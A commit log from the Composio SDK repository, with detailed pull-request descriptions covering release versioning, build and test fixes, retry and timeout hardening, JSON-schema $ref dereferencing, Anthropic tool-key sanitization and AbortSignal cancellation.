9764ce33ff |
Release: update version (#3616)
This PR was opened by the [Changesets release](https://github.com/changesets/action) GitHub action. When you're ready to do a release, you can merge this and the packages will be published to npm automatically. If you're not ready to do a release yet, that's fine, whenever you add more changesets to next, this PR will be updated. # Releases ## @composio/core@0.12.0 ### Minor Changes -@composio/core@0.12.0 @composio/json-schema-to-zod@0.2.0 @composio/claude-agent-sdk@0.10.0 @composio/cli-keyring@0.2.0 @composio/cli-local-tools@0.1.0 @composio/cloudflare@0.10.0 @composio/vercel@0.10.0 @composio/google@0.10.0 @composio/openai@0.10.0 @composio/mastra@0.10.0 @composio/anthropic@0.10.0 @composio/llamaindex@0.10.0 @composio/langchain@0.10.0 @composio/openai-agents@0.10.0 @composio/cli@0.2.32-beta.274 |
||
|
|
6e7fc24d93 |
fix(ts): disable publint pack under Turbo to fix flaky build ENOENT (#3661)
This PR: - fixes the intermittent `E2E Test CLI (scratch)` → **Build** failure seen on the changeset release PR #3616, where `@composio/anthropic#build` died with: ``` Error: ENOENT: no such file or directory, open '/tmp/tsdown-pack-XXXXXX/composio-anthropic-0.10.0.tgz' ``` - gates `publint` with `!isTurboTask` in `tsdown.config.base.ts`, mirroring the existing ATTW workaround, so neither publish-readiness check packs a tarball under Turbo ## Root cause `tsdown.config.base.ts` already disabled **ATTW** under Turbo to dodge a "tarball path bug for scoped packages", but left **publint** enabled with `pack: 'pnpm'`. In tsdown the pack is shared and runs whenever *either* check is enabled: ```js if (publintConfigs.length || attwConfigs.length) { const tarball = await packTarball(pkg.packageJsonPath); // pnpm pack → temp dir → readdir → readFile ... } ``` So disabling ATTW alone did **not** stop the pack — publint kept triggering it, and with it the intermittent `readdir`-then-`readFile` race where the packed `.tgz` is gone by the time `readFile` runs. It's flaky: this run it hit `@composio/anthropic` while 14 sibling scoped packages packed fine. ## Fix `publint.enabled: true` → `publint.enabled: !isTurboTask`. With both ATTW and publint disabled under Turbo, `packTarball()` is never called in workspace/CI builds, eliminating the race. Direct package builds (no `TURBO_HASH`) keep running both checks with packing — where the bug does not occur. ## Verification (local, `--force` to bypass cache) - **Turbo build before:** `[publint]` runs for every package (packs the tarball) → race surface present. - **Turbo build after:** `0` publint runs, `3 successful, 3 total`, all `🙏 Build succeeded!` → pack step gone. - **Direct build after** (`env -u TURBO_HASH pnpm build` in `providers/anthropic`): both `✔ [attw]` and `✔ [publint]` run and pass → coverage retained off-Turbo. |
||
|
|
0ece269c73 |
docs(py): complete 0.16.0 CHANGELOG before release (#3660)
This PR: - completes the Python `0.16.0` CHANGELOG entry, which previously documented only the version + dependency bump even though six user-facing fixes landed on the unreleased `0.16.0` since the entry was written (`py@0.15.0..HEAD`) - refreshes the `0.16.0` date to its actual release date (`2026-06-25`) - is a prerequisite for tagging `py@0.16.0` and publishing to PyPI — PyPI is currently at `0.15.0`; `0.16.0` was bumped in-repo but never tagged or published, and no further version bump was made for the six follow-up fixes ## Context `0.16.0` is unreleased (PyPI's latest stable is `0.15.0`, there is no `py@0.16.0` tag), and `pyproject.toml` / `__version__.py` were never bumped past `0.16.0`. So these six fixes belong to `0.16.0`, not a new version. The newly documented changes: - file `$ref`/`$defs` dereferencing so auto upload/download flags behind a reference aren't dropped (e.g. `GMAIL_GET_ATTACHMENT`) - disabling retries on non-idempotent `tools.execute()` / `tools.proxy()` writes to prevent duplicate side effects - bounded `(connect, read)` timeouts on session file transfers and presigned S3 paths - centralized provider-visible tool schema aliasing across Anthropic, Claude Agent SDK, Gemini, Google ADK, and OpenAI Agents - deep-copying the OpenAI Agents tool schema before stripping `examples`/`default` Plus the already-noted `composio-client` `1.39.0` → `1.41.0` bump and the dependency-range / uv-lock refresh. Once merged, release with: \`\`\`bash git tag py@0.16.0 <merge-commit> && git push origin py@0.16.0 \`\`\`py@0.16.0 |
||
|
|
f6b5505739 | fix(core): preserve SDK reference types | ||
|
|
4312e0cae3 |
docs: update documentation for new changelog entries (#3458)
## Summary Automated documentation updates triggered by new changelog entries merged to next. Generated by Codex via GitHub Actions. Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev> Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> |
||
|
|
417d614ef9 |
ci: add bump-homebrew-tap workflow (#3355)
## Summary - New workflow that auto-bumps the Homebrew formula in [ComposioHQ/homebrew-tap](https://github.com/ComposioHQ/homebrew-tap) whenever a stable CLI release is published. - Triggers on `release: published` for tags matching `@composio/cli@*`. Skips beta/rc/alpha tags. Also exposes `workflow_dispatch` for manual replay. - Pulls SHA256s from the release's `checksums.txt`, edits `Formula/composio.rb` in the tap repo, and commits/pushes (no-op if already current). ## Setup required before this can run - Create a fine-grained PAT scoped to `ComposioHQ/homebrew-tap` only, with `Contents: read/write`. - Add it as a repo secret named `HOMEBREW_TAP_TOKEN` in this repo. Without that secret the checkout step will fail; the workflow won't break anything else. ## Test plan - [ ] Land this PR - [ ] Add `HOMEBREW_TAP_TOKEN` secret - [ ] Manually run via `workflow_dispatch` with tag `@composio/cli@0.2.28` — should be a no-op (formula already at 0.2.28) - [ ] Verify next CLI release auto-bumps the formula --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
31315357dd |
fix(py): correct without_retries rationale, preserve strict validation, pin copy() contract (#3658)
Review follow-up to #3657 (squash-merged before these review fixes could land on it). No behaviour change to the retry scoping itself — this tightens correctness, docs, and test coverage around the `without_retries` mechanism. - **Correct the `without_retries` caching rationale.** The previous docstring justified caching with "each clone creates a new `ContextVar`, and dynamically-created `ContextVar`s are never garbage-collected." That is false for this code path: `request_ctx` is only ever `.get()`, never `.set()`, so it is reclaimed by refcounting on drop (measured: 500k get-only clones leak ~0 KiB; the CPython leak only occurs with `.set()`). Caching is kept because it avoids constructing a fresh `HttpClient` on every `execute`/`proxy` (the hottest path) — the real, stated justification now. - **Preserve `_strict_response_validation` on the clone.** The Stainless-generated `copy()` drops it, so the no-retry sibling silently reverted to the default (`False`) even when the parent had it enabled. The `copy()` override now threads it through `_extra_kwargs` alongside `provider`, so the sibling differs from the parent only in `max_retries`. - **Document the scope boundary.** The `without_retries` docstring now states that only `tools.execute` / `tools.proxy` are de-retried; other non-idempotent writes (`auth_configs.create`/`update`/`delete`, `mcp.update`/`delete`, `connected_accounts.delete`/`refresh`, `link.create`) keep the default retries (most are naturally idempotent on retry; the durable fix is backend idempotency keys). - **Add regression coverage:** the clone preserves `_strict_response_validation`, plus contract guards pinning the Stainless `copy`/`_extra_kwargs`/`with_options` internals the override relies on — so a `composio_client` regen that breaks the contract fails as an obvious assertion rather than a cryptic `TypeError`. - Minor: fix the `x-sdk-version` `"unknwon"` → `"unknown"` typo and tighten `te.Self` typing on the cache field/property. No changeset (Python-only change; changesets are TypeScript-only). |
||
|
|
0c17fcd9fe |
docs: correct enum-rename slugs in 2026-03-28 changelog (#3391)
## Summary Follow-up to #2941. The "Renamed enum slugs" section of the 2026-03-28 changelog (`docs/content/changelog/03-28-26-tool-consolidation-enum-renames.mdx`) lists 347 Old Enum → New Enum pairs that don't line up with the actual class-name-derived slugs delivered by mercury PR #17949 (commit `12d585aa7e`, "fix: rename low-usage action class names to cleaner slugs"). This PR replaces that section with the verified table. ### How slugs are formed ```python enum = inflection.underscore(cls.__name__).upper() slug = enum if enum.startswith(TOOLKIT) else f"{TOOLKIT}_{enum}" ``` Slug is derived from the **class name** of the action, not the file name and not the `name` attribute. (Source: `mercury/tools/_base/action.py` `set_metadata` / `set_tool`.) ### Audit results vs. existing docs section | Category | Count | |---|---| | Original docs pairs that match PR #17949 exactly | 291 | | Pairs with **wrong New Enum** (PR's actual new differs) | 1 | | Pairs whose **old class never existed** in any commit | 5 | | Pairs that refer to renames done in **other PRs** (or tool removals) | 20 | | Pairs claiming a rename **that never happened** (old class still present at HEAD with original slug) | 30 | | **Real PR #17949 renames missing from docs and still valid at HEAD** | **1,153** | | Total entries originally listed | 347 | | Total entries in this rewrite | **1,445** | ### Notable corrections - `SUPABASE_UPDATES_PROJECT_S_SUPAVISOR_CONFIG` → docs said `SUPABASE_UPDATE_SUPAVISOR_CONFIG`; **actual** is `SUPABASE_UPDATE_PROJECT_SUPAVISOR_CONFIG` (class `UpdateProjectSupavisorConfig` at `apps/supabase/actions/generated/updates_project_s_supavisor_config.py`). - `SLACK_DELETE_MESSAGE` is **not a real slug**. The chat-deletion action is class `DeletesAMessageFromAChat`, slug `SLACK_DELETES_A_MESSAGE_FROM_A_CHAT`. Removed from the table. - All eight `PIPEDRIVE_*A_*` entries (`ADD_A_DEAL`, `ADD_A_NOTE`, `DELETE_A_PERSON`, `GET_DETAILS_OF_A_PERSON`, `LIST_PARTICIPANTS_OF_A_DEAL`, `UPDATE_A_DEAL`, `UPDATE_A_LEAD`, `UPDATE_A_PERSON`) still exist at HEAD with their original slugs — removed from the renames table. - 14 Slack entries that claimed renames (e.g. `SLACK_FETCH_TEAM_INFO` → `SLACK_GET_TEAM_INFO`) were never executed; class names still match the original slug. Removed. - Whole toolkits previously omitted that PR #17949 actually renamed and that remain valid at HEAD: PostHog (179), Trello (63), Salesforce (41), Vercel (39), Twitter (36), Google Analytics (25), Dropbox (18), Icypeas (5), Reddit (2), YouTube (2), Apollo, Facebook, Hyperbrowser, Telegram (1 each). ### Front-matter description / intro paragraphs Updated count from "1,545 enum slugs across 24 toolkits" → "1,445 enum slugs across 37 toolkits" to match the rewritten table. ### Out of scope This PR does **not** change the "Deprecated tools" or "Consolidated (removed) tools" sections — those describe a different consolidation effort and are unrelated to the class-rename audit. ## Test plan - [ ] Spot-check 10–20 random entries from the rewritten table against the actual class definition in `mercury` (`apps/<toolkit>/actions/`) to confirm `inflection.underscore(cls.__name__).upper()` matches the listed New Enum. - [ ] Confirm `<Accordions>...</Accordions>` block renders correctly on `docs.composio.dev` preview. - [ ] Confirm none of the 30 "rename never happened" entries listed in the audit show up in the new table. --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> |
||
|
|
09b552aa03 |
fix(py): disable retries on non-idempotent tool writes to prevent duplicate side effects (#3657)
This PR: - stops the Python SDK from silently retrying `tools.execute` and `tools.proxy`, which are non-idempotent POST writes. The Stainless-generated client retries POSTs by default (`max_retries=2`) on read timeouts, 429, 5xx, and connection errors. A read timeout is unsafe to retry — the request may already be in flight on the backend — so a retry can duplicate the side effect, e.g. send an email twice. Reported in https://github.com/ComposioHQ/composio/issues/3586 - routes both write paths through a new `client.without_retries` — a cached, retry-disabled (`max_retries=0`) clone of the `HttpClient`. Reads and lists keep the default retries, so resilience is unchanged for idempotent calls - overrides `HttpClient.copy()` to re-inject the required `provider` keyword and re-aliases `with_options`, since the generated `copy()` rebuilds via `self.__class__(...)` without `provider` — previously `with_options(max_retries=0)` raised `TypeError` on the subclass - caches the no-retry sibling instead of cloning per call: each clone creates a new `ContextVar`, and dynamically-created `ContextVar`s are never garbage-collected - adds `tests/test_no_retry_writes.py`: writes hit the transport exactly once on a retryable 5xx, reads still retry-then-succeed (proving the scoping), and a regression guard for the `copy()` override - interim fix only — the durable solution is idempotency keys, tracked in https://github.com/ComposioHQ/composio/issues/3654 (gated on backend support), which supersedes this once available No changeset (Python-only change; changesets are TypeScript-only). |
||
|
|
95b7b7f649 |
fix(openai_agents): deep-copy tool schema before stripping examples/default (#3632)
## Problem `OpenAIAgentsProvider.wrap_tool` mutates the caller's `Tool.input_parameters`. It shallow-copies the schema and then strips keys from the nested property dicts **in place**: ```python modified_schema = tool.input_parameters.copy() # shallow copy modified_schema["additionalProperties"] = False _remove_examples_from_schema(modified_schema) # del prop["examples"/"pattern"/"default"] ``` `_remove_examples_from_schema` recurses into `schema["properties"][*]` and does `del prop_value["examples"]`, `del prop_value["pattern"]`, `del prop_value["default"]`. Because `dict.copy()` is shallow, `modified_schema["properties"]` (and every nested property dict) is the **same object** as the original, so those deletions strip `examples`/`pattern`/**`default`** out of the caller's `Tool.input_parameters`. Since essentially every Composio tool carries `default`/`examples` on its properties, wrapping a tool silently corrupts its schema. Wrapping the same `Tool` twice, reusing it with another provider, or inspecting it after wrapping then sees the defaults gone. This is the only wrap path using a shallow `.copy()` + nested mutation — the rest of the codebase deep-copies before mutating schemas, e.g. `composio/utils/shared.py` (`schema = copy.deepcopy(schema)`, with the docstring *"The schema is deep-copied before any mutation so the caller's original is never modified."*) and `Tools._get` (`tool.model_copy(deep=True)`). ## Fix Deep-copy the schema before mutating (`copy.deepcopy(tool.input_parameters)`), so `_remove_examples_from_schema` only edits the provider-local copy. One-line change + `import copy`. ## Test Added `python/providers/openai_agents/tests/test_provider.py::test_wrap_tool_does_not_mutate_input_parameters` — builds a tool whose properties carry `default`/`examples`/`pattern`, snapshots `input_parameters`, calls `wrap_tool`, and asserts both sides of the contract: - the caller's original `Tool.input_parameters` is unchanged - the returned `FunctionTool.params_json_schema` is still normalized for OpenAI Agents (`additionalProperties: false`, with `default`/`examples`/`pattern` stripped) - **Before:** the assertion fails — `owner` loses `default`/`examples`, `repo` loses `pattern`. - **After:** `Tool.input_parameters` is untouched while the wrapped schema remains sanitized. Verification: - `uv run pytest python/providers/openai_agents/tests/test_provider.py -q` → **1 passed** - `uv run ruff check python/providers/openai_agents/composio_openai_agents/provider.py python/providers/openai_agents/tests/test_provider.py` → clean - `uv run ruff format --check python/providers/openai_agents/composio_openai_agents/provider.py python/providers/openai_agents/tests/test_provider.py` → clean Co-authored-by: ly-wang19 <ly-wang19@users.noreply.github.com> |
||
|
|
d94a49ff43 |
fix(py): centralize tool schema aliasing (#3652)
This PR: - supersedes https://github.com/ComposioHQ/composio/pull/3625, https://github.com/ComposioHQ/composio/pull/3629, and the Python SDK/provider-side fix proposed by https://github.com/ComposioHQ/composio/pull/3504 - adds `alias_tool_input_schema` / `restore_tool_arguments` for provider-visible schemas and backend argument restoration - keeps `substitute_reserved_python_keywords` / `reinstate_reserved_python_keywords` as compatibility wrappers - preserves the existing Python keyword alias style (`from` -> `from_rs`), aliases invalid Python parameter names like `$top`, avoids leading-underscore aliases so Pydantic-backed providers can build models, and caps aliases at 64 characters for Anthropic-style tool schema validators - dereferences internal `$ref` / `$defs` before aliasing so referenced object properties are exposed through the same safe provider-visible names - restores Gemini manual `handle_response` arguments with the per-tool alias map before execution - wraps Google ADK tools with aliased callable signatures and restores original backend argument names - wraps Anthropic and Claude Agent SDK tool schemas with the same shared alias map and restores original backend argument names before execution - fixes the package-local Claude Agent SDK provider tests so they run without `pytest-asyncio` and keep using the provider-visible schema conversion hook - adds dependency-light core tests for helper behavior, `$ref` aliasing, Pydantic model compatibility, Gemini manual response, Google ADK wrapping, Anthropic wrapping, and Claude Agent SDK wrapping Local validation: - `uv run --project python pytest python/tests/test_tool_schema_aliasing.py python/tests/test_schema_parser.py python/tests/test_json_schema.py python/tests/test_imports.py -q` -> 112 passed - `PYTHONPATH=python uv run --project python --with-editable ./python/providers/claude_agent_sdk pytest python/providers/claude_agent_sdk/tests/test_provider.py -q --timeout=20` -> 16 passed - `uv run --project python --with-editable ./python/providers/langchain pytest --ignore-glob='python/tests/test_type_inference*.py' python/tests/ -q` -> 742 passed, 31 skipped - `uv run --project python --with-editable ./python --with-editable ./python/providers/langchain python <LangChain $top wrap smoke>` -> wrapped args schema field `param_top` - `uv run --project python --with-editable ./python --with-editable ./python/providers/langgraph python <LangGraph $top wrap smoke>` -> wrapped args schema field `param_top` - `uv run --project python ruff check --config python/config/ruff.toml python/composio/utils/shared.py python/tests/test_tool_schema_aliasing.py` -> passed - `uv run --project python ruff format --check --config python/config/ruff.toml python/composio/utils/shared.py python/tests/test_tool_schema_aliasing.py` -> passed - `git diff --check` -> passed Note: #3500's hosted MCP emission-layer report is already closed; this PR covers the Python SDK/provider surface rather than changing hosted MCP schema emission. |
||
|
|
aeeb471c63 |
fix(py): resolve $ref/$defs so file flags behind a reference aren't dropped (#3653)
## Problem
Tools whose parameter schemas express their file fields through a
`$ref`/`$defs` indirection lose auto file handling. With
`dangerously_allow_auto_upload_download_files=True`, a
`file_downloadable` output behind a `$ref` is never downloaded (the raw
`{name, mimetype, s3url}` object is passed through), and a
`file_uploadable` input behind a `$ref` is never staged — silently, with
no error.
`GMAIL_GET_ATTACHMENT` is the canonical shape — the flag sits two `$ref`
hops deep:
```
data → $ref → #/$defs/GetAttachmentResponse → file → $ref → #/$defs/FileDownloadable (file_downloadable: true)
```
**Root cause:** the hand-rolled walkers in
`composio/core/models/_files.py` (`_has_file_property`,
`_substitute_file_upload_value`, `_substitute_file_download_value`, …)
recurse through `properties`/`anyOf`/`oneOf`/`allOf`/`items` but **never
dereference `$ref`**, so a flagged node reachable only through a
reference is invisible to them.
Fixes https://github.com/ComposioHQ/composio/issues/3506
## Approach
Rather than teach each walker to dereference — which means threading a
root schema through ~10 methods, re-deriving `$ref` handling in each,
and risking unbounded recursion on cyclic schemas — this introduces a
single **`dereference_json_schema`** utility and inlines references
**once at the `FileHelper` boundary** (`process_file_uploadable_schema`,
`substitute_file_uploads`, `substitute_file_downloads`). The walkers
stay reference-agnostic.
This mirrors the TypeScript SDK's `dereferenceJsonSchema` (the
counterpart fix in #3566 for the TS twin of this bug, #3307) so both
SDKs share one behavioral contract. Resolving once at the boundary also
gives every walker `$ref` support for free — including keywords they
never special-cased (`additionalProperties`, `patternProperties`,
`prefixItems`, `not`), because the resolver walks containers
reflectively.
## What's in the utility (`composio/utils/json_schema.py`)
Faithful port of the TS guards:
- **Cycle safety** — breaks both `$ref` cycles and live-object identity
cycles with a permissive `{type: object, additionalProperties: true}`
sentinel. (A per-node lazy resolver without threaded cycle tracking
infinite-loops on a self-referential schema; there's a regression test
for exactly this.)
- **Depth caps** — `MAX_REF_CHAIN_DEPTH=100` / `MAX_NODE_DEPTH=512`
raise a typed `JSONSchemaRefResolutionError` instead of exhausting the
interpreter (with a `RecursionError` backstop converted to the same
typed error).
- **Sibling-keyword merge** — Draft 2020-12 semantics (siblings win on
collision), so a `description`/`default` next to a `$ref` survives.
- **External-ref passthrough** — `http(s)://` refs are left untouched
and logged once for audit.
- **`sentinel` mode** — a dangling `$ref` (an API schema that emits
`$ref` with no `$defs` block,
https://github.com/ComposioHQ/composio/issues/3307) degrades to the
permissive sentinel + an LLM-visible hint, instead of aborting the tool
call. The `FileHelper` uses this mode for API-sourced schemas.
- **Non-mutating** — returns a new schema; `$defs`/`definitions` are
stripped from the inlined root.
## Tests
- `python/tests/test_json_schema.py` — 30 cases mirroring the TS
`jsonSchema.test.ts` contract (chains, reflective container walk, legacy
`definitions`, sibling merge, cycles, depth caps, pointer-escape
decoding, array-index pointers, full `sentinel`-mode suite).
- `python/tests/test_files.py` — end-to-end regressions through the
public methods: download/upload behind `$ref`/`$defs` (the #3506 repro),
the LLM-facing input transform, graceful degradation of a dangling
`$ref`, and a **self-referential schema that must not recurse
infinitely**.
- `nox -s chk` (ruff + mypy) green; `nox -s tst` for the file/execution
suites green.
## Notes
Supersedes #3545 (third-party PR that fixed the same bug by threading
`root_schema` through each walker). That diagnosis was correct; this
takes the centralized route consistent with the TS SDK and adds the
cycle/depth guards. No changeset — Python-package change.
|
||
|
|
dd40a9bb6f |
fix(py): bound file transfer requests with timeouts (#3563)
## Summary - add bounded `(connect, read)` timeouts to Python SDK session file downloads and uploads - add the same timeout coverage to presigned S3 upload/download paths used by file helpers - convert timeout/request failures into the SDK's existing file errors and cover them with tests Fixes #3560 Fixes #3561 Fixes #3562 ## Changes - `RemoteFile.buffer()` now uses the existing file transfer timeout constants and preserves file context on request failures - `ToolRouterSessionFilesMount.upload()` and S3 upload helpers now bound presigned `PUT` requests - `FileDownloadable.download()` now bounds streaming `GET` requests, wraps streaming read failures, and closes the response - added regression tests for request timeouts and timeout arguments - added a changeset for the published SDK change ## Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor/Chore - [ ] Documentation - [ ] Breaking change ## How Has This Been Tested? - [x] `D:\anaconda3\envs\yolov12\python.exe -m ruff check python\composio\core\models\tool_router_session_files.py python\composio\core\models\_files.py python\tests\test_tool_router_session_files.py python\tests\test_files.py` - [x] `D:\anaconda3\envs\yolov12\python.exe -m ruff format --check python\composio\core\models\tool_router_session_files.py python\composio\core\models\_files.py python\tests\test_tool_router_session_files.py python\tests\test_files.py` - [x] `COMPOSIO_CACHE_DIR=<repo>\.tmp-composio-cache D:\anaconda3\envs\yolov12\python.exe -m pytest python\tests\test_tool_router_session_files.py python\tests\test_files.py::TestUploadBytesToS3 python\tests\test_files.py::TestFileDownloadablePathTraversal::test_safe_filename_passes_through python\tests\test_files.py::TestFileDownloadablePathTraversal::test_download_uses_timeout python\tests\test_files.py::TestFileDownloadablePathTraversal::test_download_timeout_raises_error python\tests\test_files.py::TestFileDownloadablePathTraversal::test_download_stream_timeout_raises_error` Note: I also ran the full `python\tests\test_tool_router_session_files.py python\tests\test_files.py` pair locally. The new and related tests passed, but the full run has one pre-existing Windows-specific failure in `TestFileDownloadablePathTraversal::test_empty_name_safe_fails_at_write_time`: opening a directory for writing raises `PermissionError` on Windows instead of the test's expected `IsADirectoryError`. ## Screenshots (if applicable) N/A ## Checklist - [x] I have read the Code of Conduct and this PR adheres to it - [x] I ran linters/tests locally and they passed - [ ] I updated documentation as needed - [x] I added tests or explain why not applicable - [x] I added a changeset if this change affects published packages ## Additional context This keeps the existing `(5s connect, 60s read)` timeout convention already used by the Python SDK's URL fetch helpers. --------- Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
507318d56a |
fix(anthropic): harden tool property-key sanitizer (#3650)
This PR (builds on https://github.com/ComposioHQ/composio/pull/3649, already merged) hardens the Anthropic tool property-key sanitizer from a multi-agent review, then extracts the mechanism into a reusable core util. **Touches two packages:** `@composio/core` (new util) and `@composio/anthropic` (consumes it). ### Correctness / robustness - **Prototype-safe restoration** — reverse maps and the rebuilt argument object are `Object.create(null)`, so a tool call using a key matching an `Object.prototype` member (`__proto__`, `constructor`, `toString`, `hasOwnProperty`, …) no longer throws a `TypeError` or silently corrupts the backend payload, and `Object.prototype` is never mutated. - **Full schema coverage** — illegal keys are sanitized wherever they appear: `allOf`/`anyOf`/`oneOf`, `not`/`if`/`then`/`else`, `prefixItems`, `additionalProperties`/`patternProperties`, `$defs`/`definitions`. Renames inside composition keywords fold into the value level they share and restore correctly (a mixed array/object `anyOf` resolves by value type at restore time). - **`$ref` keys restored** — `wrapTool` now dereferences internal `$ref`/`$defs` (lenient `sentinel` mode) before sanitizing, so keys reachable only through a reference are both made compliant and restored. - **Depth cap (512)** on sanitization and restoration — a pathologically deep schema/argument fails with a clear error instead of overflowing the stack. - **Empty / all-illegal keys** become a deterministic non-empty alias instead of `''` (which would itself violate `{1,64}`). - **Collision loop** — replaced a latent non-terminating fixed point with a counter that always makes progress. ### Architecture - **Extracted to core** — `sanitizeSchemaPropertyKeys(schema, policy)` / `restoreOriginalKeys` / `mappingHasRenames` (+ `KeyMapping` / `KeySanitizationPolicy`) now live in `@composio/core`, alongside `normalizeToolArguments`. The traversal, collision handling, prototype guard and depth cap are provider-agnostic; the Anthropic constraint is injected as a `KeySanitizationPolicy` defined in the provider's `sanitize-keys.ts`, which also re-exports a policy-bound `sanitizeSchemaPropertyKeys` plus core's restore side so call sites import from one place. - **`wrapTool` → `executeToolCall` contract** documented (same provider instance) and instrumented with `debug` logs on the rewrite/restore paths; re-wrapping a slug refreshes or clears its mapping. - Dropped the inaccurate "mirrors the Python SDK" comment and two `as unknown as` casts. ### Known limitations Both cases below leave a value reaching the backend un-restored — still strictly better than the whole `tools` array 400-ing. - **Dynamic-key positions.** After dereferencing, only genuinely dynamic-key positions remain rewrite-only (not restored): `additionalProperties`, `patternProperties`, and `contains`. These can't be tied to a concrete value location without per-key schema association. - **Composition-branch key collisions.** When sibling `allOf`/`anyOf`/`oneOf` branches fold into their shared value level, two branches that sanitize different illegal keys to the *same* alias — or one branch whose alias equals a legitimately-named property in another branch — keep only the first-seen reverse mapping, so an argument satisfying the other branch restores to the wrong original name. Recovering which branch a runtime value matched needs full schema evaluation against the value; these collisions are rare in OpenAPI-derived schemas. (Documented on `mergeMappingInto`.) ### Testing Locally verified: `tsc --noEmit` clean on the core util and provider sources (0 own-file diagnostics); ESLint clean; Prettier-formatted; the full `@composio/core` (951) and `@composio/anthropic` (51) vitest suites pass after a fresh `pnpm --filter @composio/core build` (the earlier `picocolors` caveat from #3649 was a stale `@composio/core/dist`; rebuilding core clears it). **Please confirm CI is green before merging.** |
||
|
|
f254d1333a |
docs: update contributing guide for current repo (#3651)
This PR: - supersedes https://github.com/ComposioHQ/composio/pull/3535 and credits @eldar702 for the original `CONTRIBUTING.md` refresh - closes https://github.com/ComposioHQ/composio/issues/3487 - refreshes the repo layout around `ts/`, `python/`, `docs/`, and root release/install tests - documents the current `mise.toml` toolchain and removes stale Corepack, `.nvmrc`, `.bun-version`, and top-level `packages/` guidance - replaces the strict file-header requirement with current TypeScript/Python coding standards - adds current TypeScript e2e, Python, docs-site, changeset, and release-doc pointers - verifies documented paths, package scripts, Python make targets, Prettier, and whitespace checks locally Co-authored-by: Eldar Shlomi <eldarshlomi7@gmail.com> |
||
|
|
dfd7a0846d |
feat(core): add AbortSignal cancellation to public SDK methods + ComposioRequestCancelledError (#3463)
# Description
Add per-request cancellation to every public SDK method via
`AbortSignal`, and surface caller-initiated aborts as a typed
`ComposioRequestCancelledError`.
## API
For `tools.get` and `tools.execute`, pass `signal` directly in the
options bag (3rd arg) alongside modifiers — no placeholder needed:
```typescript
// Timeout a slow search
const tools = await composio.tools.get('user_1', {
search: 'send email',
}, { signal: AbortSignal.timeout(5_000) });
// Cancel an execution, with modifiers
const result = await composio.tools.execute('TOOL', body, {
signal: AbortSignal.timeout(10_000),
beforeExecute: ({ params }) => params,
});
// Detect cancellation
try {
await composio.tools.execute(slug, body, { signal: AbortSignal.timeout(5_000) });
} catch (err) {
if (err instanceof ComposioRequestCancelledError) return;
throw err;
}
```
For other methods, pass as a trailing argument:
```typescript
await composio.authConfigs.list(query, { signal: AbortSignal.timeout(5_000) });
await composio.connectedAccounts.get(id, { signal: AbortSignal.timeout(5_000) });
```
## Cancellation contract
- `withCancellation()` normalizes any abort error into
`ComposioRequestCancelledError` (code `TS-SDK::REQUEST_CANCELLED`)
- `isRequestAbortError()` detects `APIUserAbortError` via `instanceof`
(required because `.name === "Error"` at runtime), with fallbacks for
dual-package hazard and generic `AbortError`
- Catch-and-wrap paths in `execute` / `getRawComposioToolBySlug` /
`toolkits.get` re-throw cancellation before domain error wrapping
- **Post-execute safety**: if the signal fires after the remote tool
already executed, the result is returned (not thrown) — prevents callers
from retrying non-idempotent operations
- Custom-tool cancellation is cooperative: signal is exposed via the
`ctx` arg so user code can wire it into `fetch`
## Coverage
Tools, Toolkits, AuthConfigs, ConnectedAccounts, Triggers, MCP,
ToolRouter, ToolRouterSession — every public method that does HTTP I/O.
# How did I test this PR
- `pnpm exec vitest run` — 666 tests pass (25 pre-existing fileModifiers
failures unchanged)
- `pnpm typecheck` — 11/11 clean
- CI: Typecheck, Build, Audit, Test, all 5 E2E runtimes (Node
20.18/20.19/22.12, Deno, Cloudflare), secrets scan — all green
🤖 Generated with [Claude Code](https://claude.com/claude-code)
---------
Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com>
Co-authored-by: jkomyno <alberto@composio.dev>
|
||
|
|
c90ae95f43 |
fix(anthropic): sanitize illegal/over-long tool property keys for Messages API (#3649)
## Problem
Anthropic's Messages API validates every tool `input_schema` property
key against `^[a-zA-Z0-9_.-]{1,64}$`. A single non-conforming key makes
the API reject the **entire** `tools` array with HTTP 400, so one bad
tool takes down every other tool in the same request (e.g. a subagent
that loads all MCP schemas up front dies before running anything).
The `@composio/anthropic` provider passed `tool.inputParameters`
straight through as `input_schema` with no key sanitization, so two real
cases break:
- **Illegal characters** — OneDrive exposes Microsoft Graph OData
parameters as schema keys: `$top` / `$filter` / `$skip` / `$orderby` and
`@microsoft.graph.conflictBehavior`. `$` and `@` are outside the allowed
set.
- **Length** — `__`-flattened nested keys can exceed 64 characters
(several Zoom tools).
Fixes #3500. TypeScript-side counterpart to the Python fix in #3504;
supersedes the earlier #3067 / #2330 attempts.
## What this changes
- New `sanitize-keys.ts`: `sanitizeSchemaPropertyKeys()` rewrites
offending keys to conforming aliases (`$` → `dollar_`, `@` → `at_`, any
other illegal char → `_`, keys > 64 chars truncated with a deterministic
hash suffix), recursing through nested object `properties` **and array
`items`** schemas, keeps `required` in sync, and never mutates the
input. `restoreOriginalKeys()` reverses the rename on tool-call
arguments.
- `AnthropicProvider.wrapTool()` sanitizes the schema and stores a
per-tool reverse mapping; `executeToolCall()` restores the original
parameter names before the call reaches the Composio backend, so the
model sees `dollar_top` while the backend still receives `$top`.
## Supersedes #3574
This rebuilds @serhiizghama's #3574 — his three commits are
cherry-picked here with authorship preserved — rebased onto current
`next` and hardened after review. Changes on top of #3574:
1. **Resolved the merge conflict with `next` (it was semantic, not just
textual).** `next` now routes tool arguments through
`normalizeToolArguments()` (issue #2406 — models sometimes emit input as
a JSON *string*). `executeToolCall()` now **normalizes first, then
restores keys**; restoring a raw string would be a no-op, so the order
matters.
2. **Fixed the cross-level key-collision bug** flagged by Cursor Bugbot
on #3574. The reverse mapping was a single flat `sanitized → original`
lookup applied at every nesting depth, so an alias generated at one
level (`$top` → `dollar_top`) could rewrite a legitimately-named
`dollar_top` key at a *different* level and corrupt the backend payload.
The mapping is now shaped like the schema and walked in lockstep with
the value, so a rename only applies where its alias was generated.
3. **Sanitize keys nested in array `items`** (single schema and
positional tuples), which the original `properties`-only walk missed.
4. **Added a changeset** (`@composio/anthropic` patch) so the fix
actually ships.
## Testing
